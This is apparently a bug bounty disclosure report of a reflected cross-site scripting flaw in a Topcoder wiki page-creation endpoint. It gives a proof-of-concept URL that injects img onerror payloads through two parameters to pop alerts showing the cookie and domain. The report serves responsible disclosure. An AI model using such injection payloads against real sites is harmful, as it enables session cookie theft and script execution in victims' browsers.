Reflected XSS on https://apps.topcoder.com/wiki/pages/createpage.action

How it was found

Summary:

Hi :) A reflected XSS occurs on https://apps.topcoder.com/wiki/pages/createpage.action when creating wiki pages.

Steps To Reproduce:

A user can create wiki pages on https://apps.topcoder.com/wiki/pages/createpage.action?spaceKey=tcwiki. In this url parentPageString and labelsString parameters are vulnerable to XSS.

PoC: https://apps.topcoder.com/wiki/pages/createpage.action?spaceKey=tcwiki&parentPageString=powerpuff_hackerone%22%3E%3Cimg%20src=X%20onerror=alert(document.cookie)%3E&labelsString=%22%3E%3Cimg+src%3DX+onerror%3Dalert(document.domain)%3E {F816308} {F816309}

Impact

XSS can use to steal cookies or to run arbitrary code on victim's browser.